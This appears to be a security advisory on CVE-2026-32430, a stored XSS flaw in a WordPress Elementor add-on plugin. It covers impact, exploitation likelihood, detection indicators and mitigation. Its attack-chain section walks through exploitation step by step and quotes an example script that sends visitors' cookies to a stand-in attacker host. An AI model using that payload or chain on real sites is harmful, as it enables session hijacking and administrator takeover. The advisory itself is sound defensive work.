CVE-2026-32430: 
WordPress vulnerability analysis and mitigation

CVE-2026-32430 is a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPack Addons for Elementor plugin (powerpack-lite-for-elementor) developed by IdeaBox Creations. It affects all versions from n/a through 2.9.9 and was published on March 13, 2026, with the CVE assigned by Patchstack. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically the Stored XSS variant. An authenticated attacker with low privileges can inject malicious scripts into fields processed by the plugin, which are then persistently stored and rendered in the browser of any user who views the affected page. The attack vector is network-based, requires low privileges and user interaction (a victim must view the injected content), and the scope is changed, meaning the impact extends beyond the vulnerable component itself (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of WordPress site content. Because the payload is stored server-side, every user who visits the affected page is at risk without any further attacker interaction. The changed scope indicates that the impact can extend to components beyond the plugin itself, such as the broader WordPress environment (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The requirement for low-privilege authentication reduces the attack surface compared to unauthenticated XSS vulnerabilities (Feedly).

1. Reconnaissance: Identify WordPress sites running PowerPack Addons for Elementor (powerpack-lite-for-elementor) version 2.9.9 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain low-privilege access: Register or obtain a low-privilege account on the target WordPress site (e.g., Contributor or Author role) sufficient to interact with Elementor-based content or plugin settings.
3. Inject malicious payload: Insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field processed by the PowerPack Addons for Elementor plugin, such as a widget setting or custom field.
4. Payload persistence: Submit the content so the malicious script is stored in the WordPress database via the plugin's insufficient sanitization routines.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the page or post containing the injected content, causing the script to execute in their browser context.
6. Achieve objective: Harvest session cookies, perform unauthorized administrative actions, or pivot further within the WordPress environment using the captured credentials or session tokens (Feedly).

• Logs: WordPress access logs showing POST requests to Elementor or PowerPack plugin endpoints containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
• Database: Unexpected JavaScript payloads stored in WordPress wp_postmeta or wp_options tables associated with PowerPack Addons widget settings.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages containing PowerPack Addons widgets, potentially indicating cookie or credential exfiltration.
• File System: No direct file system indicators expected for a stored XSS, but review for unauthorized plugin or theme file modifications that may indicate post-exploitation activity.

Users should update the PowerPack Addons for Elementor plugin to a version beyond 2.9.9 that includes a fix for this vulnerability. Until a patched version is available or applied, administrators should restrict plugin editing and content creation capabilities to trusted users only, minimizing the risk from low-privilege accounts. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help detect and block exploitation attempts (Patchstack).